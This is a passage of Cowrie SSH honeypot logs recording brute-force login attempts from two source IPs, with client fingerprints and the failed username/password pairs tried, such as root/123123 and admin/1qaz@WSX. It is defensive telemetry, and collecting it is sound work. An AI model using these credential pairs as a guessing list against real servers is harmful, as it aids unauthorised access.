openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:02.068029Z","src_ip":"45.156.87.253","session":"d49f11ee78b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:02.317632Z","src_ip":"45.156.87.253","session":"d49f11ee78b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:03.402255Z","src_ip":"45.156.87.253","session":"d49f11ee78b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44204,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f363262a4e","protocol":"ssh","message":"New connection: 45.156.87.253:44204 (10.17.0.5:22) [session: 67f363262a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:05.395069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:05.434500Z","src_ip":"45.156.87.253","session":"67f363262a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:05.478627Z","src_ip":"45.156.87.253","session":"67f363262a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:05.793723Z","src_ip":"45.156.87.253","session":"67f363262a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:06.877551Z","src_ip":"45.156.87.253","session":"67f363262a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44220,"dst_ip":"10.17.0.5","dst_port":22,"session":"587e44398f3d","protocol":"ssh","message":"New connection: 45.156.87.253:44220 (10.17.0.5:22) [session: 587e44398f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:08.800308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:08.803831Z","src_ip":"45.156.87.253","session":"587e44398f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:08.884355Z","src_ip":"45.156.87.253","session":"587e44398f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:09.126494Z","src_ip":"45.156.87.253","session":"587e44398f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:10.255981Z","src_ip":"45.156.87.253","session":"587e44398f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34364,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bafa96647ce","protocol":"ssh","message":"New connection: 45.156.87.253:34364 (10.17.0.5:22) [session: 9bafa96647ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:12.118811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:12.122192Z","src_ip":"45.156.87.253","session":"9bafa96647ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:12.202478Z","src_ip":"45.156.87.253","session":"9bafa96647ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:12.597708Z","src_ip":"45.156.87.253","session":"9bafa96647ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:13.681436Z","src_ip":"45.156.87.253","session":"9bafa96647ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":34264,"dst_ip":"159.203.135.109","dst_port":22,"session":"63029e968611","protocol":"ssh","message":"New connection: 178.128.39.166:34264 (159.203.135.109:22) [session: 63029e968611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:14.762885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:14.829512Z","src_ip":"178.128.39.166","session":"63029e968611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:14.884020Z","src_ip":"178.128.39.166","session":"63029e968611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:15.440634Z","src_ip":"178.128.39.166","session":"63029e968611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34380,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb669116c5ca","protocol":"ssh","message":"New connection: 45.156.87.253:34380 (10.17.0.5:22) [session: cb669116c5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:15.578237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:15.585074Z","src_ip":"45.156.87.253","session":"cb669116c5ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:15.666059Z","src_ip":"45.156.87.253","session":"cb669116c5ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:15.910499Z","src_ip":"45.156.87.253","session":"cb669116c5ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:16.762634Z","src_ip":"178.128.39.166","session":"63029e968611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:16.994224Z","src_ip":"45.156.87.253","session":"cb669116c5ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34396,"dst_ip":"10.17.0.5","dst_port":22,"session":"7853914aaffb","protocol":"ssh","message":"New connection: 45.156.87.253:34396 (10.17.0.5:22) [session: 7853914aaffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:18.855354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:18.859064Z","src_ip":"45.156.87.253","session":"7853914aaffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:18.939519Z","src_ip":"45.156.87.253","session":"7853914aaffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:19.182698Z","src_ip":"45.156.87.253","session":"7853914aaffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:20.287776Z","src_ip":"45.156.87.253","session":"7853914aaffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46182,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4924955aa51","protocol":"ssh","message":"New connection: 45.156.87.253:46182 (10.17.0.5:22) [session: f4924955aa51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:22.127227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:22.131761Z","src_ip":"45.156.87.253","session":"f4924955aa51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:22.212605Z","src_ip":"45.156.87.253","session":"f4924955aa51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:22.609869Z","src_ip":"45.156.87.253","session":"f4924955aa51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:23.693321Z","src_ip":"45.156.87.253","session":"f4924955aa51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":46198,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bbd6f49ff04","protocol":"ssh","message":"New connection: 45.156.87.253:46198 (10.17.0.5:22) [session: 1bbd6f49ff04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:25.624376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:25.628289Z","src_ip":"45.156.87.253","session":"1bbd6f49ff04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:25.709838Z","src_ip":"45.156.87.253","session":"1bbd6f49ff04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:25.958638Z","src_ip":"45.156.87.253","session":"1bbd6f49ff04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:16:27.042867Z","src_ip":"45.156.87.253","session":"1bbd6f49ff04","protocol":"ssh"}
